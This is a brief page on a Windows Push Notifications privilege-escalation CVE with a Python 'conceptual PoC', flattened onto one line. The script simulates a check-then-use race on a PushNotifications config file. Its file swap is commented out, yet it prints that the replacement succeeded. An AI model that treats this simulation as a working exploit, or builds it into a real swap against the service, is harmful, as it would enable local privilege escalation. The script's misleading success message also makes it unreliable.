CVE-2026-32158 Windows推送通知权限提升漏洞

import threading import os import time # Conceptual PoC for Race Condition in Windows Push Notifications # This script simulates a concurrent execution attempt to exploit a synchronization flaw. VULNERABLE_FILE = "C:\\ProgramData\\Microsoft\\Windows\\PushNotifications\\config.db" ATTACKER_FILE = "C:\\Users\\LowPriv\\AppData\\Local\\Temp\\malicious_config.db" def simulate_vulnerable_service_check(): """ Simulates the service checking the file integrity. In a real scenario, this would be the 'Check' part of TOCTOU. """ print("[Service] Checking resource...") time.sleep(0.1) # Simulate processing time creating a race window if os.path.exists(VULNERABLE_FILE): print("[Service] Resource exists. Proceeding to load...") # Vulnerability: The handle is opened here after the race window try: with open(VULNERABLE_FILE, 'r') as f: print(f"[Service] Loaded content: {f.read()}") except Exception as e: print(f"[Service] Error loading file: {e}") def simulate_attacker_replacement(): """ Simulates the attacker replacing the file during the race window. """ print("[Attacker] Waiting for check window...") # Wait slightly to hit the gap between Check and Use time.sleep(0.05) try: # In a real exploit, this might require specific file system privileges or oplocks if os.path.exists(ATTACKER_FILE): print("[Attacker] Replacing target file with malicious link...") # os.replace(VULNERABLE_FILE, ATTACKER_FILE) # Operation requires specific permissions print("[Attacker] File replaced successfully.") except Exception as e: print(f"[Attacker] Failed to replace file: {e}") if __name__ == "__main__": print("Starting Race Condition PoC Simulation...") # Create dummy files for simulation if not os.path.exists(ATTACKER_FILE): with open(ATTACKER_FILE, 'w') as f: f.write("MALICIOUS PAYLOAD") # Setup threads to run concurrently t1 = threading.Thread(target=simulate_vulnerable_service_check) t2 = threading.Thread(target=simulate_attacker_replacement) t1.start() t2.start() t1.join() t2.join() print("Simulation completed.")